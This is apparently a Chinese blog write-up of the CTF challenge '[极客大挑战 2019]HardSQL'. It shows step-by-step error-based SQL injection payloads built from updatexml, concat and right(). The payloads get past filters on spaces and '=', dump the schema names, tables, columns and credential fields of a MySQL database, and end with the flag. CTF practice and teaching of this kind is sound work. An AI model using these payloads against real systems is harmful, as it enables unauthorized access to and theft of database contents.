[极客大挑战 2019]HardSQL 1

[极客大挑战 2019]HardSQL 1

首先打开题目,明显的发现这是一个sql注入的题:

在这里插入图片描述
我们先用 ’ 和 " 测试是否有注入报错。

发现用 ’ 时报错:

在这里插入图片描述
所以这题很明显是有sql注入的,于是我们就利用用语句:
admin’ or 1=1#
测试得到:
在这里插入图片描述发现这里是有过滤的于是就用BP跑一下,看过滤了些什么得到:

在这里插入图片描述
发现过滤了空格,=,<>,>,<,!,substr等

所以我们先测试成功登录后的页面:
用:admin’or((1)like(1))#
得到:

在这里插入图片描述页面返回登录成功,并无其它信息,但刚刚用’时出现报错
可能出现报错注入
于是我们用报错注入试试;
admin’or(updatexml(’~’,concat(’~’,database(),’~’),’~’))#

得到:
在这里插入图片描述
成功报错库名,所以报错注入能成功

于是开始下一步:查看所有库名:

admin’or(updatexml(’~’,concat(’~’,(select(group_concat(schema_name))from(information_schema.schemata)),’~’),’~’))#

得到:

在这里插入图片描述发现信息不完整于是想到可能长度不够,于是利用right(),从右边截取
长度看看:
用:
admin’or(updatexml(’~’,right(concat(’~’,(select(group_concat(schema_name))from(information_schema.schemata)),’~’),45),’~’))#

得到另一般信息:
在这里插入图片描述

我们在查看当前数据库geek的表名:
用:
admin’or(updatexml(’~’,concat(’~’,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(“geek”))),’~’),’~’))#
在这里插入图片描述然后,我们在接着查看表里面的字段名:

用:

admin’or(updatexml(’~’,concat(’~’,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like(“H4rDsq1”))),’~’),’~’))#

在这里插入图片描述

得到字段有id,username,password
我们一般都是想看用户名和密码:
查看用户名:
用:
admin’or(updatexml(’~’,concat(’~’,(select(group_concat(username))from(geek.H4rDsq1)),’~’),’~’))#

发现flag
在这里插入图片描述在继续查看密码得到:
用:
admin’or(updatexml(’~’,concat(’~’,(select(group_concat(password))from(geek.H4rDsq1)),’~’),’~’))#
在这里插入图片描述
发现flag只有一般在查看另一般:
用:
admin’or(updatexml(’~’,right(concat(’~’,(select(group_concat(password))from(geek.H4rDsq1)),’~’),20),’~’))#

在这里插入图片描述

得到完整的flag:

flag{e7534702-af2e-4fce-99e7-5d3734d4cab2}

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值